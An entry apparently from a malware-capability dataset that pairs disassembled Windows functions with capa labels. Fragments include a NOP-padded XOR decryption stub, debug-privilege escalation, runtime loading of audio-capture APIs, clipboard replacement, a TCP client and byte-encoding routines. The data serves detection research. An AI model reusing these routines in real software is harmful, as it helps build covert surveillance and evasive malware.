joyce8/EMBER2024-capa huggingface dataset:
Function at 0xf43d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xf43d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xf43d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xf43d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xf43d94
push eax
push esi
call fcn.00f4620b
add esp, 8
pop esi
ret 0x10

Function at 0xf43da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xf43e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xf43e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xf5c320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00f45dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xf43dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xf43e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xf43ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xf43eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xf5c320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00f45dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xf43eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xf43e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xf44000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xf44131
push esi
call fcn.00f47145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00f36080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xf44131
push 0
push ebp
call fcn.00f363a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00f36260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xf4408b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00f362f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xf44121
push 0xf5c918
push edi
call fcn.00f453f0
push eax
push ebx
push esi
call fcn.00f43f60
push 0xf5c8f8
push edi
call fcn.00f453f0
push eax
push ebx
push esi
call fcn.00f43f60
push 0xf5c8d8
push edi
call fcn.00f453f0
push eax
push ebx
push esi
call fcn.00f43f60
push 0xf5c8c0
push edi
call fcn.00f453f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00f43f60
push 0xf5c8a0
push edi
call fcn.00f453f0
push eax
push ebx
push esi
call fcn.00f43f60
push 0xf5c888
push edi
call fcn.00f453f0
push eax
push ebx
push esi
call fcn.00f43f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xf451b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00f45140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00f45140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00f45140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00f45140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xf45bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xf45c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xf5787c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xf45c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xf45c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x40f9cb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x431c60]
jne 0x40f9d5
repz ret
jmp fcn.00414b9c

Function at 0x41c043
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041458c
and dword [ebp - 4], 0
cmp dword [0x435cdc], 0
mov ebx, eax
jne 0x41c0f4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41c1a5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x42b1b0
push edi
call esi
test eax, eax
je 0x41c1a5
push eax
call fcn.0041451a
mov dword [esp], 0x42b1a0
push edi
mov dword [0x435cdc], eax
call esi
push eax
call fcn.0041451a
mov dword [esp], 0x42b18c
push edi
mov dword [0x435ce0], eax
call esi
push eax
call fcn.0041451a
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x435ce4], eax
call esi
push eax
call fcn.0041451a
pop ecx
mov dword [0x435cec], eax
test eax, eax
je 0x41c0f4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041451a
pop ecx
mov dword [0x435ce8], eax
mov eax, dword [0x435ce8]
cmp eax, ebx
je 0x41c14c
cmp dword [0x435cec], ebx
je 0x41c14c
push eax
call fcn.00414595
push dword [0x435cec]
mov esi, eax
call fcn.00414595
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41c14c
test edi, edi
je 0x41c14c
call esi
test eax, eax
je 0x41c143
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41c143
test byte [ebp - 0xc], 1
jne 0x41c14c
or dword [ebp + 0x10], 0x200000
jmp 0x41c185
mov eax, dword [0x435ce0]
cmp eax, ebx
je 0x41c185
push eax
call fcn.00414595
pop ecx
test eax, eax
je 0x41c185
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41c185
mov eax, dword [0x435ce4]
cmp eax, ebx
je 0x41c185
push eax
call fcn.00414595
pop ecx
test eax, eax
je 0x41c185
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x435cdc]
call fcn.00414595
pop ecx
test eax, eax
je 0x41c1a5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41c1a7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408bdd
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44a208]
jne 0x408be7
repz ret
jmp fcn.00410b1c

Function at 0x4145f1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040e1c6
and dword [ebp - 4], 0
cmp dword [0x44da30], 0
mov ebx, eax
jne 0x4146a2
push 0x402dd0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x414753
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402dc4
push edi
call esi
test eax, eax
je 0x414753
push eax
call fcn.0040e154
mov dword [esp], 0x402db4
push edi
mov dword [0x44da30], eax
call esi
push eax
call fcn.0040e154
mov dword [esp], 0x402da0
push edi
mov dword [0x44da34], eax
call esi
push eax
call fcn.0040e154
mov dword [esp], 0x402d84
push edi
mov dword [0x44da38], eax
call esi
push eax
call fcn.0040e154
pop ecx
mov dword [0x44da40], eax
test eax, eax
je 0x4146a2
push 0x402d6c
push edi
call esi
push eax
call fcn.0040e154
pop ecx
mov dword [0x44da3c], eax
mov eax, dword [0x44da3c]
cmp eax, ebx
je 0x4146fa
cmp dword [0x44da40], ebx
je 0x4146fa
push eax
call fcn.0040e1cf
push dword [0x44da40]
mov esi, eax
call fcn.0040e1cf
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4146fa
test edi, edi
je 0x4146fa
call esi
test eax, eax
je 0x4146f1
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4146f1
test byte [ebp - 0xc], 1
jne 0x4146fa
or dword [ebp + 0x10], 0x200000
jmp 0x414733
mov eax, dword [0x44da34]
cmp eax, ebx
je 0x414733
push eax
call fcn.0040e1cf
pop ecx
test eax, eax
je 0x414733
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x414733
mov eax, dword [0x44da38]
cmp eax, ebx
je 0x414733
push eax
call fcn.0040e1cf
pop ecx
test eax, eax
je 0x414733
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44da30]
call fcn.0040e1cf
pop ecx
test eax, eax
je 0x414753
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x414755
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x7f0ed0
Capabilities:
Encode data using xor

Disassembly:
push 0
call 0x7f0ed0
mov dword [0], eax
add esp, 8
jmp loc.01ebd408
Function at 0x40122b
Capabilities:
Accept command line arguments
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
push 1
xor esi, esi
mov ebx, fcn.00401194
call fcn.004010ee
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x4012a7
lea eax, [ebp - 0x260]
push eax
push dword [ebp + 8]
call fcn.0040117e
lea eax, [ebp - 0x260]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
push edi
call fcn.00401194
add esp, 0x18
test eax, eax
je 0x4013b7
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4013b7
push 0x401080
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x4012e0
lea eax, [ebp - 4]
push eax
push 2
call fcn.004010ee
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x4012e0
lea eax, [ebp - 0x364]
push eax
push dword [ebp + 8]
call fcn.0040117e
lea eax, [ebp - 0x364]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
push edi
call ebx
add esp, 0x18
test eax, eax
jne 0x401301
test esi, esi
je 0x4013b7
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4013b7
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
test esi, esi
je 0x40131b
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x260]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, eax
xor cl, cl
cmp byte [edi], 0x22
jne 0x40132d
inc cl
inc edi
mov al, byte [edi]
test al, al
je 0x401340
cmp al, 0x20
jne 0x40133b
test cl, cl
je 0x401340
cmp al, 0x22
jne 0x40132c
inc edi
lea eax, [ebp - 0x15c]
push 0x40107c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [entry0]
lea eax, [ebp - 0x364]
push eax
lea eax, [ebp - 0x15c]
push eax
call esi
lea eax, [ebp - 0x15c]
push 0x401078
push eax
call esi
lea eax, [ebp - 0x15c]
push edi
push eax
call esi
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea eax, [ebp - 0x14]
xor edi, edi
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x20
push 1
push edi
lea eax, [ebp - 0x15c]
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4013bb
lea eax, [ebp - 0x364]
push eax
call ebx
xor al, al
jmp 0x4013ff
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0xc]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x14]
call esi
lea eax, [ebp - 0x364]
push eax
call ebx
test eax, eax
jne 0x4013fd
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x64
jl 0x4013e2
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x99768c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x9976b3
call fcn.00939c18
mov dword [eax], esi
call fcn.00939c05
push 0x16
pop esi
mov dword [eax], esi
call fcn.0093a85a
mov eax, esi
jmp 0x997708
test dword [ebp + 0xc], 0xfffffff9
jne 0x997699
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x9976e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00939c2b
pop ecx
call fcn.00939c05
mov eax, dword [eax]
jmp 0x997708
test al, 0x10
jne 0x997706
test al, 1
je 0x997706
test byte [ebp + 0xc], 2
je 0x997706
call fcn.00939c18
mov dword [eax], 5
call fcn.00939c05
mov dword [eax], 0xd
jmp 0x9976d7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x7ffb78e9
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x44fd43b1
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x100015a0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.ResumeThread
mov ebx, ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateThread
push str.KERNEL32.dll
mov dword [esp + 0x2c], eax
call esi
push eax
call edi
push str.waveInOpen
push str.WINMM.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.waveInGetNumDevs
push str.WINMM.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.waveInPrepareHeader
push str.WINMM.dll
mov ebp, eax
call esi
push eax
call edi
push str.waveInAddBuffer
push str.WINMM.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.waveInStart
push str.WINMM.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
mov dword [esp + 0x28], eax
call ebp
test eax, eax
jne 0x10001648
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1c
ret
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 4
push ebx
push 0x10001700
push 0
push 0
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x10]
push 0x20000
push 0
lea edx, [ebx + 0x46]
push ecx
lea edi, [ebx + 0x18]
push edx
push 0xffff
push edi
mov dword [ebx + 0x2c], eax
call dword [esp + 0x30]
test eax, eax
je 0x10001693
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1c
ret
lea esi, [ebx + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [ebx + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [edi]
push eax
push ecx
call dword [esp + 0x28]
add esi, 4
dec ebp
jne 0x1000169b
mov edx, dword [ebx + 0x1c]
mov ecx, dword [edi]
push 0x20
mov eax, dword [ebx + edx*4 + 0x30]
push eax
push ecx
call dword [esp + 0x2c]
mov edx, dword [ebx + 0x2c]
push edx
call dword [esp + 0x28]
mov eax, dword [edi]
push eax
call dword [esp + 0x2c]
mov al, 1
pop edi
pop esi
mov byte [ebx + 0x44], al
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x10001f80
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x10097d58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
mov esi, ecx
push eax
mov dword [esp + 8], esi
call fcn.100109b0
lea ecx, [esp + 0x18]
push 1
push ecx
mov ecx, esi
mov dword [esp + 0x18], 0
mov dword [esi], 0x100b7778
mov dword [esi + 0x114], 0
mov byte [esp + 0x20], 0x74
call fcn.10010b00
mov ecx, esi
call fcn.10010b70
push 0
push 0
push esi
push 0x10002060
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10001ff8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x10002770
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000281e
push ebx
push ebp
push esi
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
mov dword [esp + 0x14], eax
call ebp
test eax, eax
je 0x10002809
mov ecx, dword [esp + 0x18]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10002809
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x1c]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x10002809
push ebx
call ebp
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10002960
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
ret

Function at 0x10002980
Capabilities:
Delete file

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.10002960
add esp, 4
test al, al
push esi
je 0x100029b1
call dword [sym.imp.MSVCRT.dll_remove]
add esp, 4
test eax, eax
je 0x100029bf
push esi
push 0x100fa288
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
pop esi
ret
push 0x100fa278
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
pop esi
ret

Function at 0x100048b0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10097dba
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.10001b80
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a0], 0
call fcn.10001b80
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a0], 1
call fcn.10001b80
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a0], 2
call fcn.10001b80
lea eax, [esp + 8]
mov dword [esi], 0x100b77d8
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x61
mov byte [esp + 5], 0x6d
mov dx, word [esp + 4]
lea ecx, [esi + 0xb4]
mov dword [esi + 0xac], eax
mov al, 0x20
mov word [ecx], dx
mov byte [esi + 0xb7], 0
mov dword [esi + 0xa8], 0xffffffff
mov byte [ecx + 2], al
mov ecx, dword [esp + 0x198]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a0
ret
Function at 0x10004a60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x24
push esi
push edi
mov esi, ecx
call fcn.10004f20
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb7], 0
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x10004aa1
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov ecx, dword [esp + 0x30]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x10004abc
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov edx, dword [esp + 0x34]
mov word [esp + 0x1c], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x20]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0xa8]
push ecx
mov dword [esp + 0x2c], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10004b01
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov eax, dword [esi + 0xa8]
lea edx, [esp + 8]
push 4
push edx
push 8
push 0xffff
push eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10004b62
push eax
lea ecx, [esp + 0x10]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0xa8]
lea edx, [esp + 0x24]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], 0x2bf20
mov dword [esp + 0x3c], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10004bd0
push 0
push 0
mov byte [esi + 0xb7], 1
mov dword [esi + 0xb0], 0
call fcn.1002bec0
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
add esp, 0x24
ret 8

Function at 0x10004ba0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x10004bc0
mov dl, byte [ecx + eax]
add dl, 4
xor dl, 3
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x10004baf
pop esi
ret

Function at 0x10005130
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x10005150
mov dl, byte [ecx + eax]
xor dl, 3
sub dl, 4
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x1000513f
pop esi
ret